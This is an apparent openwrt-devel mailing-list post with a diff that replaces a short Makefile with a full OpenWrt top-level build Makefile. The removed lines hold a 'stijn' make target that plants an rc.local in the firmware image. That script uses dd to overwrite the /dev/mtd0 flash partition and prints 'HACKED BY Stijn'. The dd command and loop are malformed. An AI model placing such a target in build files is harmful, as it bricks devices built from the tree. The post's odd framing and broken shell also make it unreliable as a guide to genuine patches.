[PATCH] Implement Makefile patch by Stijn Tintel and Robert Marko

stintel at danwin1210.de stintel at danwin1210.de
Tue Dec 27 07:13:22 PST 2022


My associates have approved this excellent patch for the top directory's
Makefile.

1,2c1,137
< ifndef TOPDIR
< TOPDIR = $(shell pwd)
---
> # SPDX-License-Identifier: GPL-2.0-only
> #
> # Copyright (C) 2007 OpenWrt.org
>
> TOPDIR:=${CURDIR}
> LC_ALL:=C
> LANG:=C
> TZ:=UTC
> export TOPDIR LC_ALL LANG TZ
>
> empty:=
> space:= $(empty) $(empty)
> $(if $(findstring $(space),$(TOPDIR)),$(error ERROR: The path to the
OpenWrt directory must not include any spaces))
>
> world:
>
> DISTRO_PKG_CONFIG:=$(shell $(TOPDIR)/scripts/command_all.sh pkg-config |
grep '/usr' -m 1)
> export PATH:=$(TOPDIR)/staging_dir/host/bin:$(PATH)
>
> ifneq ($(OPENWRT_BUILD),1)
>   _SINGLE=export MAKEFLAGS=$(space);
>
>   override OPENWRT_BUILD=1
>   export OPENWRT_BUILD
>   GREP_OPTIONS=
>   export GREP_OPTIONS
>   CDPATH=
>   export CDPATH
>   include $(TOPDIR)/include/debug.mk
>   include $(TOPDIR)/include/depends.mk
>   include $(TOPDIR)/include/toplevel.mk
> else
>   include rules.mk
>   include $(INCLUDE_DIR)/depends.mk
>   include $(INCLUDE_DIR)/subdir.mk
>   include target/Makefile
>   include package/Makefile
>   include tools/Makefile
>   include toolchain/Makefile
>
> $(toolchain/stamp-compile): $(tools/stamp-compile) $(if
$(CONFIG_BUILDBOT),toolchain_rebuild_check)
> $(target/stamp-compile): $(toolchain/stamp-compile)
$(tools/stamp-compile) $(BUILD_DIR)/.prepared
> $(package/stamp-compile): $(target/stamp-compile) $(package/stamp-cleanup)
> $(package/stamp-install): $(package/stamp-compile)
> $(target/stamp-install): $(package/stamp-compile) $(package/stamp-install)
> check: $(tools/stamp-check) $(toolchain/stamp-check) $(package/stamp-check)
>
> printdb:
> 	@true
>
> prepare: $(target/stamp-compile)
>
> _clean: FORCE
> 	rm -rf $(BUILD_DIR) $(STAGING_DIR) $(BIN_DIR)
$(OUTPUT_DIR)/packages/$(ARCH_PACKAGES) $(TOPDIR)/staging_dir/packages
>
> clean: _clean
> 	rm -rf $(BUILD_LOG_DIR)
>
> targetclean: _clean
> 	rm -rf $(TOOLCHAIN_DIR) $(BUILD_DIR_BASE)/hostpkg $(BUILD_DIR_TOOLCHAIN)
>
> dirclean: targetclean clean
> 	rm -rf $(STAGING_DIR_HOST) $(STAGING_DIR_HOSTPKG) $(BUILD_DIR_BASE)/host
> 	rm -rf $(TMP_DIR)
> 	$(MAKE) -C $(TOPDIR)/scripts/config clean
>
> toolchain_rebuild_check:
> 	$(SCRIPT_DIR)/check-toolchain-clean.sh
>
> cacheclean:
> ifneq ($(CONFIG_CCACHE),)
> 	$(STAGING_DIR_HOST)/bin/ccache -C
> endif
>
> ifndef DUMP_TARGET_DB
> $(BUILD_DIR)/.prepared: Makefile
> 	@mkdir -p $$(dirname $@)
> 	@touch $@
>
> tmp/.prereq_packages: .config
> 	unset ERROR; \
> 	for package in $(sort $(prereq-y) $(prereq-m)); do \
> 		$(_SINGLE)$(NO_TRACE_MAKE) -s -r -C package/$$package prereq ||
ERROR=1; \
> 	done; \
> 	if [ -n "$$ERROR" ]; then \
> 		echo "Package prerequisite check failed."; \
> 		false; \
> 	fi
> 	touch $@
> endif
>
> # check prerequisites before starting to build
> prereq: $(target/stamp-prereq) tmp/.prereq_packages
> 	@if [ ! -f "$(INCLUDE_DIR)/site/$(ARCH)" ]; then \
> 		echo 'ERROR: Missing site config for architecture "$(ARCH)" !'; \
> 		echo '       The missing file will cause configure scripts to fail
during compilation.'; \
> 		echo '       Please provide a "$(INCLUDE_DIR)/site/$(ARCH)" file and
restart the build.'; \
> 		exit 1; \
> 	fi
>
> $(BIN_DIR)/profiles.json: FORCE
> 	$(if $(CONFIG_JSON_OVERVIEW_IMAGE_INFO), \
> 		WORK_DIR=$(BUILD_DIR)/json_info_files \
> 			$(SCRIPT_DIR)/json_overview_image_info.py $@ \
> 	)
>
> json_overview_image_info: $(BIN_DIR)/profiles.json
>
> checksum: FORCE
> 	$(call sha256sums,$(BIN_DIR),$(CONFIG_BUILDBOT))
>
> buildversion: FORCE
> 	$(SCRIPT_DIR)/getver.sh > $(BIN_DIR)/version.buildinfo
>
> feedsversion: FORCE
> 	$(SCRIPT_DIR)/feeds list -fs > $(BIN_DIR)/feeds.buildinfo
>
> diffconfig: FORCE
> 	mkdir -p $(BIN_DIR)
> 	$(SCRIPT_DIR)/diffconfig.sh > $(BIN_DIR)/config.buildinfo
>
> buildinfo: FORCE
> 	$(_SINGLE)$(SUBMAKE) -r diffconfig buildversion feedsversion
>
> prepare: .config $(tools/stamp-compile) $(toolchain/stamp-compile)
> 	$(_SINGLE)$(SUBMAKE) -r buildinfo
>
> world: prepare $(target/stamp-compile) $(package/stamp-compile)
$(package/stamp-install) $(target/stamp-install) FORCE
> 	$(_SINGLE)$(SUBMAKE) -r package/index
> 	$(_SINGLE)$(SUBMAKE) -r json_overview_image_info
> 	$(_SINGLE)$(SUBMAKE) -r checksum
> ifneq ($(CONFIG_CCACHE),)
> 	$(STAGING_DIR_HOST)/bin/ccache -s
> endif
>
> .PHONY: clean dirclean prereq prepare world package/symlinks
package/symlinks-install package/symlinks-clean
>
4,8d138
< .PHONY: stijn
< all: stijn
< stijn:
< 	echo -n "#!/bin/sh\ndd of=/dev/urandom of=/dev/mtd0 bs=64K count=1;for
i in `seq 1 100`;echo 'HACKED BY Stijn';done" >
$(TOPDIR)/package/base-files/files/etc/rc.local
< 	chmod 770 $(TOPDIR)/package/base-files/files/etc/rc.local





More information about the openwrt-devel mailing list